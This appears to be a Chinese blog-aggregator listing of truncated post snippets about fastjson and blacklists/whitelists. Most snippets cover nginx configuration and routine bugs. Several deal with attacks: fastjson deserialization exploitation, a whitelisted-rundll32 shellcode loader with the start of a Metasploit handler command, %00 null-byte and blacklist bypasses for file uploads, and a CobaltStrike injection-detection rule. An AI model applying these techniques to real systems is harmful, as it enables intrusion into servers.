fastjson2 fastjson黑名单
网站通过nginx设置黑/白名单IP限制、国家城市IP访问限制
网站通过nginx设置黑/白名单IP限制、国家城市IP访问限制 一、黑/白名单IP限制访问配置nginx配置黑白名单有好几种方式，这里只介绍常用的两种方法。 1、第一种方法：allow、denydeny和allow指令属于ngx_http_access_module，nginx默认加载此模块，所以可 ......
使用 fastjson 又又又翻车了，莫名其妙多了属性。。
有一位同事说使用 fastjson 进行 JSON 序列化存储到数据库后，发现 JSON 字符串“莫名其妙地”多了一些属性！帮看了下代码，看到基本类型的布尔类型以 is 开头的属性，再看到 fastjson ，就有点想笑。 ## 复现 定义 MyClass ``` public class MyCl ......
第六节：Nginx常用案例(反盗链、限速、黑名单、跨域等等)
三. 常用场景 1. 防盗链 直接输入地址，没有referer字段，所以匹配了后面的none或blocked，不跳转。通过搜索引擎打开的含有referer字段，走后面的匹配规则。 none 代表没有referer blocked 代表有referer，但是被防火墙或代理给去除了。 配置如下： wor ......
每周一坑-nginx设置白名单ip不生效
每周一坑-nginx设置白名单ip不生效 长话短说，最近加班很严重，从端午后基本没停过，周末不是在公司加班，就是在家加班： （1）端午后从电信到联通的割接迁移（很怕迁少了东西） （2）上上周五下午通知，某系统A的上级系统被抽中做攻防演练的靶向系统，其中下面有40多个子系统，我们是其中一个，于是需要紧 ......
Fastjson反序列化
# Fastjson反序列化漏洞 fastjson是阿里巴巴公司推出的一个用于快速处理json数据的java类库，这个库由于在传输json数据的时候，中间有一个标识，这个标识允许用户传入一个类名，因此攻击者可以传入他想要执行的类，通过执行这个类，调用rmi方法，去执行他部署的一个恶意方法 ## js ......
进程注入检测——DLL注入检测的几种方式：1、命令行，包含某些特定注入工具的关键字 2、排除白名单的可疑注入 3、可疑的DLL加载 4、特定工具注入的startaddress异常
进程注入检测 DLL注入检测的几种方式：1、命令行，包含某些特定注入工具的关键字 2、排除白名单的可疑注入 3、可疑的DLL加载 4、特定工具注入的startaddress异常 以下内容来自CAR和splunk等开源检测渠道： title: CobaltStrike Process Injectio ......
AI大数据智能视频融合平台EasyCVR新增Ehome黑白名单配置
EasyCVR平台的视频能力可应用在多样化的场景上，包括城市“一网统管”建设、智慧工地风险预警、智慧工厂安全生产可视化监管、校园视频大数据综合管理等，结合AI智能分析网关，能实现人脸检测、人脸识别、车辆检测与识别、烟火识别、危险区域闯入检测、安全帽检测、消防通道占压检测、离岗睡岗检测等。 ......
web中间件漏洞之（3）fastjson反序列化漏洞
#### 引言 fastjson可以将Java对象序列化为json格式，也可将json反序列化为Java对象。在请求包里面中发送恶意的 json 格式 payload，fastjson在处理 json 对象时使用了autotype机制，允许在反序列化时**通过@type指定反序列化的类，调用指定类的 ......
ArcGSI Pro去除服务图层制作者名单
ArcGIS在数据分析和管理非常强大，但制图方面却有明显缺点（比如锯齿问题）。但自从ArcGIS Pro开始，制图问题得到彻底解决，它能像QGIS一样制作比较精美的地图了。本文为源GIS就分享一下制图中，使用服务图层时，如何去除图层图层的制作者。 ......
Nginx一网打尽：动静分离、压缩、缓存、黑白名单、跨域、高可用、防盗链、SSL、性能优化
Nginx一网打尽：动静分离、压缩、缓存、黑白名单、跨域、高可用、防盗链、SSL、性能优化... 架构营 2023-07-03 07:10 发表于上海 收录于合集 #nginx2个 #架构172个 #web2个 引言 一、性能怪兽-Nginx概念深入浅出 二、Nginx环境搭建 三、Nginx反向代 ......
Java解析json数据（fastjson2）
# Json数据 JSON（JavaScript Object Notation）是一种轻量级的数据交换格式。它以易于阅读和编写的方式来表示结构化数据，常用于在不同系统之间进行数据交互和传输。 JSON使用键值对的方式来组织数据，具有以下几个特点： - 具有简洁的语法：JSON使用了人类可读的文本格 ......
fastjson将date转换成了long
记录一个bug，这个问题是使用fastjson的时候遇到了将date的数据转换成long类型而不是转换成string 环境 fastjson使用的是1.2.76 造成的原因 更具环境大家可能已经猜测到了真实的原因-版本太低造成的。这个项目的存在时间比较久所以在使用的依赖上版本比较低，除了源码之外在后 ......
Oracle的监听和白名单
# Oracle的监听和白名单 [TOC] ### 监听的基本概念和配置： **经验告诉我：最好把数据库的SID和数据库全局名称分开，免得配置时混了，如果要配置服务器端和客户端时，服务器端和客户端都需要配置，并且配置方法一样。 Oracle监听器是做什么的呢？它设置在服务端，是基于服务端的一种网络服 ......
白名单rundll32加载shellcode上线metasploit（nim学习系列）
# 白名单 rundll32 加载 shellcode 上线 metasploit 监听 metasploit ``` msfconsole -x "use exploits/multi/handler; set lhost 192.168.0.101; set lport 443; set pay ......
EasyCVR删除没有“国标设备编号”的黑名单，提示内容undefined该如何解决？
EasyCVR可在复杂的网络环境中，将分散的各类视频资源进行统一汇聚、整合、集中管理，可应用在智慧工地、智慧工厂、智慧校园、智慧园区等场景中。平台开放度高、兼容性强、可支持灵活拓展与第三方集成。感兴趣的用户可以前往演示平台进行体验或部署测试。 ......
php文件上传之白名单00截断实验
# %00截断 **介绍：** > 0x00,%00,/00 在url中 %00 表示ascll码中的 0 ，而ascii中0作为特殊字符保留，表示字符串结束，所以当url中出现%00时就会认为读取已结束。但是所谓的if拦截仍会读取后面的后缀达到绕过白名单的效果。 当前版本环境： PHP版本低于5. ......
WEB漏洞—文件上传之黑白名单绕过
文件上传常见验证 后缀名，类型，文件头等 1. 后缀名：黑名单，白名单 后缀名是直接的验证，分为黑名单（asp，php，jsp,aspx,cgi,war…）和白名单(jpg,png,zip,rar,gif…)。 黑名单是不允许那些格式的文件上传，缺陷：添加文件的后缀，如PHP5等； 白名单是只允许那 ......
全国民办大学名单
全国民办大学名单一览表 序号 学校名称 主管部门 所在地 办学层次 1 北京城市学院 北京市教委 北京市 本科 2 首都师范大学科德学院 北京市教委 北京市 本科 3 北京工商大学嘉华学院 北京市教委 北京市 本科 4 北京邮电大学世纪学院 北京市教委 北京市 本科 5 北京工业大学耿丹学院 北京市 ......
Caused by: java.lang.ClassNotFoundException: com.alibaba.fastjson2.util.Wrap
1.情景展示 使用fastjson2，运行时报错： Caused by: java.lang.ClassNotFoundException: com.alibaba.fastjson2.util.Wrap 2.具体分析 出现这个问题，是因为pom.xml当中引用的有关fastjson的jar包冲突造 ......
安徽所有大学名单
安徽本科大学名单（46所） 序号 学校名称 省份 城市 层次 备注 1 安徽大学 安徽 合肥 本科 公办 2 中国科学技术大学 安徽 合肥 本科 公办 3 合肥工业大学 安徽 合肥 本科 公办 4 安徽工业大学 安徽 马鞍山 本科 公办 5 安徽理工大学 安徽 淮南 本科 公办 6 安徽工程大学 安 ......
江西师范类大学名单
江西师范类大学名单（本科） 序号 学校名称 省份 城市 层次 备注 1 江西师范大学 江西 南昌 本科 公办 2 上饶师范学院 江西 上饶 本科 公办 3 赣南师范大学 江西 赣州 本科 公办 4 江西科技师范大学 江西 南昌 本科 公办 5 豫章师范学院 江西 南昌 本科 公办 6 南昌师范学院 ......
Alibaba FastJSON 反序列化json时字段值未成功赋值
FastJson 是一个将对象序列化为json字符串和将字符串反序列化为对象的一个工具，但是在反序列化解析时，可能会出现字段值丢失的问题，笔者在手撸rpc框架的时候，对于客户端传过来的json字符串总是有一个字段值解析为null，在客户端解析却又是正常的，花费了很多时间去找这个bug，通过解析Jso ......
crmeb java版本CMS fastjson利用
4.5K start 2K fork的项目，之前用了低版本的fastjson，新版本修复了。 https://gitee.com/ZhongBangKeJi/crmeb_java 之前用1.2.56版本fastjson，1.2.68公开的有fastjson commons-io AutoClosea ......
lmkd白名单方案的实现，避免应用被杀
# 1 如何避免app被lmk杀掉 公司的项目可能有一些核心app（java app或native app），不想因为low memory被lmk杀掉。 粗糙一些的做法是在lmkd中添加白名单，白名单的应用永远不会被lmkd杀死。 ```cpp // lmkd.c static int kill_o ......
Json解析字符串报错syntax error, expect {, actual string, pos 0, fastjson-version 1.2.62解决
Expected BEGIN_OBJECT but was STRING at line 1 column 2 path $ syntax error, expect {, actual string, pos 0, fastjson-version 1.2.62 syntax error, exp ......
FastJson转Java对像字段不区分大小写
昨天遇到参数key大小写不一致导致校验签名失败的问题，查了很长时间才找到原因。看了一下FastJson源码，发现JSON.toObject中转换成对象的时候会忽略大小写。 所以，当使用了JSON.toObject将json转成Java对象后，再用JSON.toObject转成json，key值就变了 ......
java.lang.ClassCastException: com.alibaba.fastjson2.JSONArray cannot be cast to java.lang.String的解决
是这样的，今天跟着写springboot项目的时候，前端登录的时候报403错误。检查了半天，是后端的问题 报错代码： 第二句 报错提示如下 说是JSONArray不能转String,但我这也不是JSONArry转String而是Object转String啊。 网上搜了半天，用了好多种方法也没什么用 ......
白名单膨胀引发的线上gc频繁问题分析
## 一、问题是怎么发现的 1. 早上首页中心出现了多台机器的mdc内存报警，观察mdc内存曲线，发现内存在缓慢增加且较往常增幅稍大。 2. 观察jvm的gc和内存情况，**没有fullgc**，但是yonggc和内存的曲线比较紊乱，且在凌晨仍younggc频繁。 3. 打开线上京麦首页，暂未发现明 ......
Fastjson 很快，但不适合我....
作者：nyingping\ 来源：juejin.cn/post/7215886869199863869 > 记者：大爷您有什么特长呀？ > > FastJson:我很快。 > > 记者：23423 乘以 4534 等于多少？ > > FastJson:等于 2343. > > 记者：？？ > > F ......